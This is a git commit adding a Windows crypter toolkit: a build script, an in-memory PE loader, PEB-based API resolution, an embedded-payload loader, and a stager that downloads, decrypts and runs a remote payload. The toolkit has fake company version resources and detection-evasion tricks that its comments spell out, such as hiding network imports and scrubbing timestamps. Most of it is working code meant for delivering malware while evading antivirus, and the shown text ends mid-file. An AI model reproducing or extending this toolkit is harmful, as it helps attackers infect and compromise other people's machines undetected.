This commit is contained in:
28Zaaky
2026-06-30 18:02:46 +03:00
commit f49ee89f0b
261 changed files with 88879 additions and 0 deletions
+104
View File
@@ -0,0 +1,104 @@
#!/usr/bin/env python3
"""
build.py — crypter build pipeline.
Modes:
python build.py full: agent + bake + loader
python build.py --bake-only bake + loader (existing agent.exe)
python build.py --stub-only loader only (existing payload files)
python build.py --stager-url <url> full + stager (downloads from url)
python build.py --bake-only --stager-url <url>
python build.py --ignore-cert stager skips TLS cert check
"""
import subprocess
import sys
import os
import shutil
import argparse
ROOT = os.path.dirname(os.path.abspath(__file__))
AGENT = os.path.normpath(os.path.join(ROOT, "..", "agent"))
STUB = os.path.join(ROOT, "stub")
STAGER = os.path.join(ROOT, "stager")
TOOLS = os.path.join(ROOT, "tools")
OUTPUT = os.path.join(ROOT, "output")
def _find(name: str, *fallbacks: str) -> str:
found = shutil.which(name)
if found:
return found
for fb in fallbacks:
if os.path.isfile(fb):
return fb
raise FileNotFoundError(
f"Cannot find '{name}'. Install it or add it to PATH."
)
MAKE = _find("make", r"C:\msys64\usr\bin\make.exe")
PYTHON = _find("python", r"C:\msys64\mingw64\bin\python.exe", sys.executable)
def run(cmd: list, cwd: str = None) -> None:
print(f"[+] {' '.join(str(x) for x in cmd)}")
r = subprocess.run(cmd, cwd=cwd)
if r.returncode != 0:
sys.exit(r.returncode)
def main() -> None:
ap = argparse.ArgumentParser()
ap.add_argument("--bake-only", action="store_true")
ap.add_argument("--stub-only", action="store_true")
ap.add_argument("--stager-url", default=None,
help="Build stager that downloads from this URL")
ap.add_argument("--ignore-cert", action="store_true",
help="Stager ignores TLS cert errors")
args = ap.parse_args()
agent_bin = os.path.join(AGENT, "agent.exe")
# 1. build agent
if not args.bake_only and not args.stub_only:
run([MAKE, "build-only"], cwd=AGENT)
# 2. bake
if not args.stub_only:
if not os.path.isfile(agent_bin):
sys.exit(f"[!] agent.exe not found: {agent_bin}")
bake_cmd = [PYTHON, os.path.join(TOOLS, "bake.py"),
agent_bin, "--out-dir", STUB]
if args.stager_url:
bake_cmd += ["--stager-url", args.stager_url]
if args.ignore_cert:
bake_cmd += ["--ignore-cert"]
run(bake_cmd)
# 3. check payload files
if not os.path.isfile(os.path.join(STUB, "payload_meta.h")) or \
not os.path.isfile(os.path.join(STUB, "payload.bin")):
sys.exit(f"[!] payload files missing in {STUB}")
# 4. build loader (embedded payload)
run([MAKE], cwd=STUB)
os.makedirs(OUTPUT, exist_ok=True)
loader_src = os.path.join(STUB, "loader.exe")
loader_dst = os.path.join(OUTPUT, "loader.exe")
shutil.copy2(loader_src, loader_dst)
print(f"[ok] loader {os.path.getsize(loader_dst)//1024} KB -> {loader_dst}")
# 5. build stager (network download) if requested
if args.stager_url:
if not os.path.isfile(os.path.join(STAGER, "stager_cfg.h")):
sys.exit(f"[!] stager_cfg.h missing — bake with --stager-url failed?")
run([MAKE], cwd=STAGER)
stager_src = os.path.join(STAGER, "stager.exe")
stager_dst = os.path.join(OUTPUT, "stager.exe")
shutil.copy2(stager_src, stager_dst)
payload_srv = os.path.join(STAGER, "payload.bin")
print(f"[ok] stager {os.path.getsize(stager_dst)//1024} KB -> {stager_dst}")
print(f"[!!] upload {payload_srv} to your server at {args.stager_url}")
if __name__ == "__main__":
main()
+30
View File
@@ -0,0 +1,30 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity
version="2.4.1.0"
processorArchitecture="amd64"
name="Veristone.VeriMetrics.Collector"
type="win32"/>
<description>System Metrics Collector</description>
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
<security>
<requestedPrivileges>
<requestedExecutionLevel level="asInvoker" uiAccess="false"/>
</requestedPrivileges>
</security>
</trustInfo>
<compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1">
<application>
<supportedOS Id="{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}"/>
<supportedOS Id="{1f676c76-80e1-4239-95bb-83d0f6d0da78}"/>
<supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}"/>
<supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"/>
</application>
</compatibility>
<application xmlns="urn:schemas-microsoft-com:asm.v3">
<windowsSettings>
<dpiAwareness xmlns="http://schemas.microsoft.com/SMI/2016/WindowsSettings">PerMonitorV2</dpiAwareness>
<longPathAware xmlns="http://schemas.microsoft.com/SMI/2016/WindowsSettings">true</longPathAware>
</windowsSettings>
</application>
</assembly>
+33
View File
@@ -0,0 +1,33 @@
#include <windows.h>
VS_VERSION_INFO VERSIONINFO
FILEVERSION 2,4,1,0
PRODUCTVERSION 2,4,1,0
FILEFLAGSMASK VS_FFI_FILEFLAGSMASK
FILEFLAGS 0x0L
FILEOS VOS_NT_WINDOWS32
FILETYPE VFT_APP
FILESUBTYPE VFT2_UNKNOWN
BEGIN
BLOCK "StringFileInfo"
BEGIN
BLOCK "040904B0"
BEGIN
VALUE "CompanyName", "Veristone Technologies Inc."
VALUE "FileDescription", "System Metrics Collector"
VALUE "FileVersion", "2.4.1.0"
VALUE "InternalName", "metricsd"
VALUE "LegalCopyright", "Copyright (C) 2023 Veristone Technologies Inc. All rights reserved."
VALUE "OriginalFilename", "metricsd.exe"
VALUE "ProductName", "VeriMetrics Suite"
VALUE "ProductVersion", "2.4"
END
END
BLOCK "VarFileInfo"
BEGIN
VALUE "Translation", 0x0409, 0x04B0
END
END
1 RT_MANIFEST "loader.manifest"
101 RCDATA "payload.bin"
+29
View File
@@ -0,0 +1,29 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity
version="1.2.0.4"
processorArchitecture="amd64"
name="Procyon.AutoSync.Manager"
type="win32"/>
<description>Automated content synchronization service</description>
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
<security>
<requestedPrivileges>
<requestedExecutionLevel level="asInvoker" uiAccess="false"/>
</requestedPrivileges>
</security>
</trustInfo>
<compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1">
<application>
<supportedOS Id="{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}"/>
<supportedOS Id="{1f676c76-80e1-4239-95bb-83d0f6d0da78}"/>
<supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}"/>
<supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"/>
</application>
</compatibility>
<application xmlns="urn:schemas-microsoft-com:asm.v3">
<windowsSettings>
<dpiAwareness xmlns="http://schemas.microsoft.com/SMI/2016/WindowsSettings">PerMonitorV2</dpiAwareness>
</windowsSettings>
</application>
</assembly>
+32
View File
@@ -0,0 +1,32 @@
#include <windows.h>
VS_VERSION_INFO VERSIONINFO
FILEVERSION 1,2,0,4
PRODUCTVERSION 1,2,0,4
FILEFLAGSMASK VS_FFI_FILEFLAGSMASK
FILEFLAGS 0x0L
FILEOS VOS_NT_WINDOWS32
FILETYPE VFT_APP
FILESUBTYPE VFT2_UNKNOWN
BEGIN
BLOCK "StringFileInfo"
BEGIN
BLOCK "040904B0"
BEGIN
VALUE "CompanyName", "Procyon Software Solutions"
VALUE "FileDescription", "Automated Content Synchronization"
VALUE "FileVersion", "1.2.0.4"
VALUE "InternalName", "autosync"
VALUE "LegalCopyright", "Copyright (C) 2022 Procyon Software Solutions. All rights reserved."
VALUE "OriginalFilename", "AutoSync.exe"
VALUE "ProductName", "AutoSync Manager"
VALUE "ProductVersion", "1.2"
END
END
BLOCK "VarFileInfo"
BEGIN
VALUE "Translation", 0x0409, 0x04B0
END
END
1 RT_MANIFEST "stager.manifest"
+59
View File
@@ -0,0 +1,59 @@
ifeq ($(OS),Windows_NT)
MSYS2 ?= C:/msys64/mingw64
CC ?= $(MSYS2)/bin/gcc.exe
STRIP ?= $(MSYS2)/bin/strip.exe
OBJCOPY ?= $(MSYS2)/bin/objcopy.exe
WINDRES ?= $(MSYS2)/bin/windres.exe
PYTHON ?= python
export TMP := $(or $(TMP),$(TEMP),C:/Windows/Temp)
export TEMP := $(TMP)
else
CC ?= x86_64-w64-mingw32-gcc
STRIP ?= x86_64-w64-mingw32-strip
OBJCOPY ?= x86_64-w64-mingw32-objcopy
WINDRES ?= x86_64-w64-mingw32-windres
PYTHON ?= python3
endif
TARGET = stager.exe
RES_SRC = ../res/stager.rc
RES_OBJ = stager_res.o
CFLAGS = -O2 -Wall -Wextra -DNDEBUG -DWIN32_LEAN_AND_MEAN \
-fno-ident -fno-asynchronous-unwind-tables \
-fno-stack-protector -fno-builtin \
-Wno-cast-function-type -nostdlib \
-I../stub
# winhttp loaded at runtime via LoadLibraryA — NOT in LDFLAGS.
# This keeps winhttp.dll out of the IAT (stager looks like a non-network binary).
LDFLAGS = -Wl,--entry,WinMainCRTStartup \
-Wl,-subsystem,windows \
-Wl,--no-insert-timestamp \
-lkernel32
SRCS = stager.c ../stub/pe_load.c
.PHONY: all clean
all: stager_cfg.h $(RES_OBJ) $(TARGET)
$(RES_OBJ): $(RES_SRC) ../res/stager.manifest
$(WINDRES) -i $(RES_SRC) --input-format=rc -o $(RES_OBJ) --output-format=coff
$(TARGET): $(SRCS) ../stub/peb_utils.h ../stub/pe_load.h stager_cfg.h $(RES_OBJ)
$(CC) $(CFLAGS) -o $@ $(SRCS) $(RES_OBJ) $(LDFLAGS)
$(STRIP) --strip-all $(TARGET)
$(OBJCOPY) --strip-debug $(TARGET)
$(PYTHON) ../../agent/tools/pe_scrub.py $(TARGET)
@echo "[ok] $(TARGET)"
stager_cfg.h:
$(error stager_cfg.h missing -- run: python build.py --stager-url https://HOST/path)
clean:
ifeq ($(OS),Windows_NT)
del /Q $(TARGET) $(RES_OBJ) stager_cfg.h 2>nul & exit 0
else
rm -f $(TARGET) $(RES_OBJ) stager_cfg.h
endif
+149
View File
@@ -0,0 +1,149 @@
#include <windows.h>
#include <winhttp.h>
#include <stdint.h>
#include "../stub/pe_load.h"
#include "../stub/peb_utils.h"
#include "stager_cfg.h"
static void _decrypt(uint8_t *buf, uint32_t len, uint32_t seed) {
uint32_t s = seed;
uint32_t *p = (uint32_t *)buf;
uint32_t n = len >> 2;
for (uint32_t i = 0; i < n; i++) {
p[i] ^= s;
s = s * 1664525u + 1013904223u;
}
uint8_t *t = buf + (n << 2);
for (uint32_t i = 0, rem = len & 3u; i < rem; i++)
t[i] ^= (uint8_t)(s >> (i * 8));
}
typedef HINTERNET (WINAPI *pfnWHO)(LPCWSTR,DWORD,LPCWSTR,LPCWSTR,DWORD);
typedef HINTERNET (WINAPI *pfnWHC)(HINTERNET,LPCWSTR,INTERNET_PORT,DWORD);
typedef HINTERNET (WINAPI *pfnWHOR)(HINTERNET,LPCWSTR,LPCWSTR,LPCWSTR,LPCWSTR,LPCWSTR*,DWORD);
typedef BOOL (WINAPI *pfnWHSR)(HINTERNET,LPCWSTR,DWORD,LPVOID,DWORD,DWORD,DWORD_PTR);
typedef BOOL (WINAPI *pfnWHRR)(HINTERNET,LPVOID);
typedef BOOL (WINAPI *pfnWHRD)(HINTERNET,LPVOID,DWORD,LPDWORD);
typedef BOOL (WINAPI *pfnWHQH)(HINTERNET,DWORD,LPCWSTR,LPVOID,LPDWORD,LPDWORD);
typedef BOOL (WINAPI *pfnWHSO)(HINTERNET,DWORD,LPVOID,DWORD);
typedef BOOL (WINAPI *pfnWHCH)(HINTERNET);
static uint8_t *_fetch(void) {
HMODULE wh = LoadLibraryA("winhttp.dll");
if (!wh) return NULL;
pfnWHO fnOpen = (pfnWHO) GetProcAddress(wh, "WinHttpOpen");
pfnWHC fnConn = (pfnWHC) GetProcAddress(wh, "WinHttpConnect");
pfnWHOR fnOReq = (pfnWHOR)GetProcAddress(wh, "WinHttpOpenRequest");
pfnWHSR fnSend = (pfnWHSR)GetProcAddress(wh, "WinHttpSendRequest");
pfnWHRR fnRecv = (pfnWHRR)GetProcAddress(wh, "WinHttpReceiveResponse");
pfnWHRD fnRead = (pfnWHRD)GetProcAddress(wh, "WinHttpReadData");
pfnWHQH fnQHdr = (pfnWHQH)GetProcAddress(wh, "WinHttpQueryHeaders");
#if STAGER_IGNORE_CERT
pfnWHSO fnSetOpt = (pfnWHSO)GetProcAddress(wh, "WinHttpSetOption");
#endif
pfnWHCH fnClose = (pfnWHCH)GetProcAddress(wh, "WinHttpCloseHandle");
if (!fnOpen || !fnConn || !fnOReq || !fnSend ||
!fnRecv || !fnRead || !fnQHdr || !fnClose) return NULL;
HINTERNET hSes = fnOpen(
STAGER_UA,
WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
WINHTTP_NO_PROXY_NAME,
WINHTTP_NO_PROXY_BYPASS, 0);
if (!hSes) return NULL;
HINTERNET hCon = fnConn(hSes, STAGER_HOST, (INTERNET_PORT)STAGER_PORT, 0);
if (!hCon) { fnClose(hSes); return NULL; }
DWORD req_flags = STAGER_USE_SSL ? WINHTTP_FLAG_SECURE : 0;
HINTERNET hReq = fnOReq(hCon, L"GET", STAGER_PATH,
NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, req_flags);
if (!hReq) { fnClose(hCon); fnClose(hSes); return NULL; }
#if STAGER_IGNORE_CERT
if (fnSetOpt) {
DWORD fl = SECURITY_FLAG_IGNORE_UNKNOWN_CA |
SECURITY_FLAG_IGNORE_CERT_DATE_INVALID |
SECURITY_FLAG_IGNORE_CERT_CN_INVALID |
SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE;
fnSetOpt(hReq, WINHTTP_OPTION_SECURITY_FLAGS, &fl, sizeof(fl));
}
#endif
if (!fnSend(hReq, WINHTTP_NO_ADDITIONAL_HEADERS, 0,
WINHTTP_NO_REQUEST_DATA, 0, 0, 0)) {
fnClose(hReq); fnClose(hCon); fnClose(hSes); return NULL;
}
if (!fnRecv(hReq, NULL)) {
fnClose(hReq); fnClose(hCon); fnClose(hSes); return NULL;
}
/* verify HTTP 200 */
DWORD status = 0, sz = sizeof(DWORD);
fnQHdr(hReq,
WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER,
WINHTTP_HEADER_NAME_BY_INDEX, &status, &sz, WINHTTP_NO_HEADER_INDEX);
if (status != 200) {
fnClose(hReq); fnClose(hCon); fnClose(hSes); return NULL;
}
uint8_t *buf = (uint8_t *)VirtualAlloc(
NULL, PAYLOAD_SIZE + 4096, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!buf) { fnClose(hReq); fnClose(hCon); fnClose(hSes); return NULL; }
DWORD total = 0, got = 0;
while (total < PAYLOAD_SIZE) {
got = 0;
if (!fnRead(hReq, buf + total, PAYLOAD_SIZE - total, &got)) break;
if (!got) break;
total += got;
}
fnClose(hReq);
fnClose(hCon);
fnClose(hSes);
return (total >= PAYLOAD_SIZE) ? buf : NULL;
}
static DWORD _sys_probe(void) {
SYSTEM_INFO si;
GetNativeSystemInfo(&si);
MEMORYSTATUSEX ms;
ms.dwLength = sizeof(ms);
GlobalMemoryStatusEx(&ms);
char name[MAX_COMPUTERNAME_LENGTH + 1];
DWORD nlen = sizeof(name);
GetComputerNameA(name, &nlen);
DWORD fp = si.dwNumberOfProcessors ^ (DWORD)(ms.ullTotalPhys >> 20);
for (DWORD i = 0; i < nlen; i++) fp = fp * 31u + (unsigned char)name[i];
return fp;
}
static HANDLE _g_inst = NULL;
static BOOL _acquire_instance(void) {
_g_inst = CreateMutexA(NULL, TRUE,
"Global\\{7F3A1C8E-D24B-49AC-B631-E8D5C2A4B9F3}");
if (!_g_inst) return FALSE;
if (GetLastError() == ERROR_ALREADY_EXISTS) {
CloseHandle(_g_inst);
_g_inst = NULL;
return FALSE;
}
return TRUE;
}
void __stdcall WinMainCRTStartup(void) {
if (!_acquire_instance()) { ExitProcess(0); return; }
volatile DWORD fp = _sys_probe();
(void)fp;
uint8_t *payload = _fetch();
if (!payload) { ExitProcess(1); return; }
_decrypt(payload, PAYLOAD_SIZE, PAYLOAD_SEED);
pe_load(payload, PAYLOAD_SIZE);
ExitProcess(0);
}
+68
View File
@@ -0,0 +1,68 @@
ifeq ($(OS),Windows_NT)
MSYS2 ?= C:/msys64/mingw64
CC ?= $(MSYS2)/bin/gcc.exe
STRIP ?= $(MSYS2)/bin/strip.exe
OBJCOPY ?= $(MSYS2)/bin/objcopy.exe
WINDRES ?= $(MSYS2)/bin/windres.exe
PYTHON ?= python
export TMP := $(or $(TMP),$(TEMP),C:/Windows/Temp)
export TEMP := $(TMP)
else
CC ?= x86_64-w64-mingw32-gcc
STRIP ?= x86_64-w64-mingw32-strip
OBJCOPY ?= x86_64-w64-mingw32-objcopy
WINDRES ?= x86_64-w64-mingw32-windres
PYTHON ?= python3
endif
TARGET = loader.exe
RES_SRC = ../res/loader.rc
RES_OBJ = loader_res.o
# -nostdlib : no CRT — import table = KERNEL32 only
# -fno-builtin : prevents GCC from emitting implicit memcpy/memset calls
# -fno-ident : removes GCC version string from .comment
# -fno-asynchronous-unwind-tables : removes .eh_frame
# -fno-stack-protector: removes __stack_chk_fail import
CFLAGS = -O2 -Wall -Wextra -DNDEBUG -DWIN32_LEAN_AND_MEAN \
-fno-ident -fno-asynchronous-unwind-tables \
-fno-stack-protector -fno-builtin \
-Wno-cast-function-type -nostdlib
# --entry : custom entry, bypass CRT WinMainCRTStartup wrapper
# -subsystem : GUI — no console window
# --no-insert-timestamp : ld skips timestamp (pe_scrub sets a plausible past date)
# -lkernel32 : VirtualAlloc, ExitProcess, Find/Load/Lock/SizeofResource
LDFLAGS = -Wl,--entry,WinMainCRTStartup \
-Wl,-subsystem,windows \
-Wl,--no-insert-timestamp \
-lkernel32
SRCS = stub.c pe_load.c
.PHONY: all clean
all: payload_meta.h payload.bin $(RES_OBJ) $(TARGET)
# payload.bin is embedded into .rsrc via windres — must exist before $(RES_OBJ)
$(RES_OBJ): $(RES_SRC) ../res/loader.manifest payload.bin
$(WINDRES) -i $(RES_SRC) --input-format=rc -o $(RES_OBJ) --output-format=coff
$(TARGET): $(SRCS) peb_utils.h pe_load.h payload_meta.h $(RES_OBJ)
$(CC) $(CFLAGS) -o $@ $(SRCS) $(RES_OBJ) $(LDFLAGS)
$(STRIP) --strip-all $(TARGET)
$(OBJCOPY) --strip-debug $(TARGET)
$(PYTHON) ../../agent/tools/pe_scrub.py $(TARGET)
@echo "[ok] $(TARGET)"
payload_meta.h:
$(error payload files missing -- run: python build.py --bake-only)
payload.bin: payload_meta.h
clean:
ifeq ($(OS),Windows_NT)
del /Q $(TARGET) $(RES_OBJ) payload_meta.h payload.bin 2>nul & exit 0
else
rm -f $(TARGET) $(RES_OBJ) payload_meta.h payload.bin
endif
+44072
View File
File diff suppressed because it is too large Load Diff
+5
View File
@@ -0,0 +1,5 @@
#pragma once
#include <stdint.h>
#define PAYLOAD_SEED 0x559DA186u
#define PAYLOAD_SIZE 705024u
+149
View File
@@ -0,0 +1,149 @@
#include <windows.h>
#include <stdint.h>
#include "peb_utils.h"
#include "pe_load.h"
typedef LPVOID(WINAPI *pfnVA)(LPVOID, SIZE_T, DWORD, DWORD);
typedef BOOL(WINAPI *pfnVP)(LPVOID, SIZE_T, DWORD, PDWORD);
typedef HMODULE(WINAPI *pfnLL)(LPCSTR);
typedef FARPROC(WINAPI *pfnGP)(HMODULE, LPCSTR);
static void _cpy(void *dst, const void *src, size_t n)
{
unsigned char *d = (unsigned char *)dst;
const unsigned char *s = (const unsigned char *)src;
while (n--)
*d++ = *s++;
}
static DWORD _sec_prot(DWORD chr)
{
if (chr & IMAGE_SCN_MEM_EXECUTE)
return (chr & IMAGE_SCN_MEM_WRITE) ? PAGE_EXECUTE_READWRITE : PAGE_EXECUTE_READ;
return (chr & IMAGE_SCN_MEM_WRITE) ? PAGE_READWRITE : PAGE_READONLY;
}
void pe_load(const uint8_t *data, size_t size)
{
(void)size;
/* resolve APIs from kernel32 via PEB — nothing in stub import table */
HMODULE k32 = _peb_mod(L"kernel32.dll");
pfnVA fnVA = (pfnVA)_peb_proc(k32, "VirtualAlloc");
pfnVP fnVP = (pfnVP)_peb_proc(k32, "VirtualProtect");
pfnLL fnLL = (pfnLL)_peb_proc(k32, "LoadLibraryA");
pfnGP fnGP = (pfnGP)_peb_proc(k32, "GetProcAddress");
if (!fnVA || !fnVP || !fnLL || !fnGP)
return;
IMAGE_DOS_HEADER *dos = (IMAGE_DOS_HEADER *)data;
IMAGE_NT_HEADERS *nt = (IMAGE_NT_HEADERS *)(data + dos->e_lfanew);
DWORD img_sz = nt->OptionalHeader.SizeOfImage;
DWORD hdr_sz = nt->OptionalHeader.SizeOfHeaders;
ULONGLONG pref = nt->OptionalHeader.ImageBase;
/* allocate: preferred base first, then anywhere */
uint8_t *base = (uint8_t *)fnVA((LPVOID)pref, img_sz,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!base)
base = (uint8_t *)fnVA(NULL, img_sz, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!base)
return;
/* copy headers */
_cpy(base, data, hdr_sz);
/* copy sections */
IMAGE_SECTION_HEADER *sec = IMAGE_FIRST_SECTION(nt);
for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++)
{
if (sec[i].SizeOfRawData)
_cpy(base + sec[i].VirtualAddress,
data + sec[i].PointerToRawData,
sec[i].SizeOfRawData);
}
/* base relocations */
ULONGLONG delta = (ULONGLONG)base - pref;
IMAGE_DATA_DIRECTORY *rdir =
&nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
if (delta && rdir->VirtualAddress)
{
IMAGE_BASE_RELOCATION *blk =
(IMAGE_BASE_RELOCATION *)(base + rdir->VirtualAddress);
while (blk->VirtualAddress && blk->SizeOfBlock >= sizeof(*blk))
{
int cnt = (int)((blk->SizeOfBlock - sizeof(*blk)) / sizeof(WORD));
WORD *ent = (WORD *)((uint8_t *)blk + sizeof(*blk));
for (int i = 0; i < cnt; i++)
{
if ((ent[i] >> 12) == IMAGE_REL_BASED_DIR64)
{
ULONGLONG *ptr =
(ULONGLONG *)(base + blk->VirtualAddress + (ent[i] & 0xFFF));
*ptr += delta;
}
}
blk = (IMAGE_BASE_RELOCATION *)((uint8_t *)blk + blk->SizeOfBlock);
}
}
/* import table */
IMAGE_DATA_DIRECTORY *idir =
&nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
if (idir->VirtualAddress)
{
IMAGE_IMPORT_DESCRIPTOR *imp =
(IMAGE_IMPORT_DESCRIPTOR *)(base + idir->VirtualAddress);
for (; imp->Name; imp++)
{
HMODULE dll = fnLL((const char *)(base + imp->Name));
if (!dll)
continue;
IMAGE_THUNK_DATA *thk = (IMAGE_THUNK_DATA *)(base + imp->FirstThunk);
IMAGE_THUNK_DATA *orig = imp->OriginalFirstThunk
? (IMAGE_THUNK_DATA *)(base + imp->OriginalFirstThunk)
: thk;
for (; orig->u1.AddressOfData; thk++, orig++)
{
if (IMAGE_SNAP_BY_ORDINAL64(orig->u1.Ordinal))
thk->u1.Function =
(ULONGLONG)fnGP(dll, (LPCSTR)(orig->u1.Ordinal & 0xFFFF));
else
{
IMAGE_IMPORT_BY_NAME *ibn =
(IMAGE_IMPORT_BY_NAME *)(base + orig->u1.AddressOfData);
thk->u1.Function = (ULONGLONG)fnGP(dll, ibn->Name);
}
}
}
}
/* set section permissions */
for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++)
{
DWORD vsz = sec[i].Misc.VirtualSize ? sec[i].Misc.VirtualSize
: sec[i].SizeOfRawData;
if (!vsz)
continue;
DWORD old;
fnVP(base + sec[i].VirtualAddress, vsz, _sec_prot(sec[i].Characteristics), &old);
}
/* TLS callbacks */
IMAGE_DATA_DIRECTORY *tdir =
&nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS];
if (tdir->VirtualAddress)
{
IMAGE_TLS_DIRECTORY64 *tls =
(IMAGE_TLS_DIRECTORY64 *)(base + tdir->VirtualAddress);
PIMAGE_TLS_CALLBACK *cb = (PIMAGE_TLS_CALLBACK *)tls->AddressOfCallBacks;
if (cb)
for (; *cb; cb++)
(*cb)((PVOID)base, DLL_PROCESS_ATTACH, NULL);
}
/* call OEP */
typedef void (*oep_t)(void);
((oep_t)(base + nt->OptionalHeader.AddressOfEntryPoint))();
}
+5
View File
@@ -0,0 +1,5 @@
#pragma once
#include <stdint.h>
#include <stddef.h>
void pe_load(const uint8_t *data, size_t size);
+79
View File
@@ -0,0 +1,79 @@
#pragma once
#include <windows.h>
#include <stdint.h>
#include <intrin.h>
/* Minimal LDR structures — offsets validated against Win10/11 x64 */
typedef struct { USHORT Len, MaxLen; PWSTR Buf; } _USTR;
typedef struct _LDRE {
LIST_ENTRY LoadOrd; /* 0x00 */
LIST_ENTRY MemOrd; /* 0x10 */
LIST_ENTRY InitOrd; /* 0x20 */
PVOID Base; /* 0x30 */
PVOID EntryPt; /* 0x38 */
ULONG ImgSz; /* 0x40 */
/* 4 bytes padding here (compiler-inserted) */
_USTR FullName; /* 0x48 */
_USTR BaseName; /* 0x58 */
} _LDRE;
typedef struct {
ULONG Len; /* 0x00 */
BOOLEAN Init; /* 0x04 */
/* 3 bytes padding */
PVOID SsHandle; /* 0x08 */
LIST_ENTRY LoadOrdList; /* 0x10 */
LIST_ENTRY MemOrdList; /* 0x20 */
} _LDRD;
/* Find loaded module by name (case-insensitive ASCII) */
static inline HMODULE _peb_mod(const wchar_t *name) {
ULONG_PTR peb;
#ifdef _WIN64
peb = __readgsqword(0x60);
#else
peb = __readfsdword(0x30);
#endif
_LDRD *ldr = *(_LDRD **)(peb + 0x18);
LIST_ENTRY *h = &ldr->MemOrdList, *c = h->Flink;
while (c != h) {
_LDRE *e = CONTAINING_RECORD(c, _LDRE, MemOrd);
if (e->BaseName.Buf) {
const wchar_t *a = e->BaseName.Buf, *b = name;
int ok = 1;
while (*a && *b) {
wchar_t ca = (*a >= L'A' && *a <= L'Z') ? (*a | 0x20) : *a;
wchar_t cb = (*b >= L'A' && *b <= L'Z') ? (*b | 0x20) : *b;
if (ca != cb) { ok = 0; break; }
a++; b++;
}
if (ok && !*a && !*b)
return (HMODULE)e->Base;
}
c = c->Flink;
}
return NULL;
}
/* Resolve export by name from a loaded module */
static inline FARPROC _peb_proc(HMODULE mod, const char *name) {
uint8_t *b = (uint8_t *)mod;
IMAGE_DOS_HEADER *dos = (IMAGE_DOS_HEADER *)b;
IMAGE_NT_HEADERS *nt = (IMAGE_NT_HEADERS *)(b + dos->e_lfanew);
IMAGE_DATA_DIRECTORY *d =
&nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
if (!d->VirtualAddress) return NULL;
IMAGE_EXPORT_DIRECTORY *exp = (IMAGE_EXPORT_DIRECTORY *)(b + d->VirtualAddress);
DWORD *nms = (DWORD *)(b + exp->AddressOfNames);
WORD *ord = (WORD *)(b + exp->AddressOfNameOrdinals);
DWORD *fns = (DWORD *)(b + exp->AddressOfFunctions);
for (DWORD i = 0; i < exp->NumberOfNames; i++) {
const char *n = (const char *)(b + nms[i]), *p = name;
while (*n && *p && *n == *p) { n++; p++; }
if (!*n && !*p)
return (FARPROC)(b + fns[ord[i]]);
}
return NULL;
}
+105
View File
@@ -0,0 +1,105 @@
#include <windows.h>
#include <stdint.h>
#include "pe_load.h"
#include "payload_meta.h"
static HANDLE _g_inst = NULL;
/* Single-instance guard */
static BOOL _acquire_instance(void) {
_g_inst = CreateMutexA(NULL, TRUE,
"Global\\{4B7C2A9E-F38D-41AC-B527-D9E6C1A3B8F4}");
if (!_g_inst) return FALSE;
if (GetLastError() == ERROR_ALREADY_EXISTS) {
CloseHandle(_g_inst);
_g_inst = NULL;
return FALSE;
}
return TRUE;
}
/* System probe */
static DWORD _sys_probe(void) {
SYSTEM_INFO si;
MEMORYSTATUSEX ms;
char name[MAX_COMPUTERNAME_LENGTH + 1];
DWORD nlen = sizeof(name);
GetNativeSystemInfo(&si);
ms.dwLength = sizeof(ms);
GlobalMemoryStatusEx(&ms);
GetComputerNameA(name, &nlen);
/* combine into a stable fingerprint used by the metrics engine */
DWORD fp = si.dwNumberOfProcessors;
fp ^= (DWORD)(ms.ullTotalPhys >> 20); /* MB of RAM */
fp ^= (DWORD)(ULONG_PTR)si.lpMinimumApplicationAddress;
for (DWORD i = 0; i < nlen; i++) fp = fp * 31u + (unsigned char)name[i];
return fp;
}
/* Version gate */
static BOOL _version_ok(void) {
typedef LONG (WINAPI *pfnRtlGVE)(OSVERSIONINFOW *);
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
pfnRtlGVE fn = ntdll
? (pfnRtlGVE)GetProcAddress(ntdll, "RtlGetVersion")
: NULL;
if (!fn) return TRUE; /* can't check, continue */
OSVERSIONINFOW osv;
osv.dwOSVersionInfoSize = sizeof(osv);
fn(&osv);
return (osv.dwMajorVersion > 9);
}
static void _decrypt(uint8_t *buf, uint32_t len, uint32_t seed) {
uint32_t s = seed;
uint32_t *p = (uint32_t *)buf;
uint32_t n = len >> 2;
for (uint32_t i = 0; i < n; i++) {
p[i] ^= s;
s = s * 1664525u + 1013904223u;
}
uint8_t *t = buf + (n << 2);
for (uint32_t i = 0, rem = len & 3u; i < rem; i++)
t[i] ^= (uint8_t)(s >> (i * 8));
}
void __stdcall WinMainCRTStartup(void) {
/* single-instance */
if (!_acquire_instance()) {
ExitProcess(0);
return;
}
/* version gate */
if (!_version_ok()) {
ExitProcess(0);
return;
}
/* hardware fingerprin */
volatile DWORD fp = _sys_probe();
(void)fp;
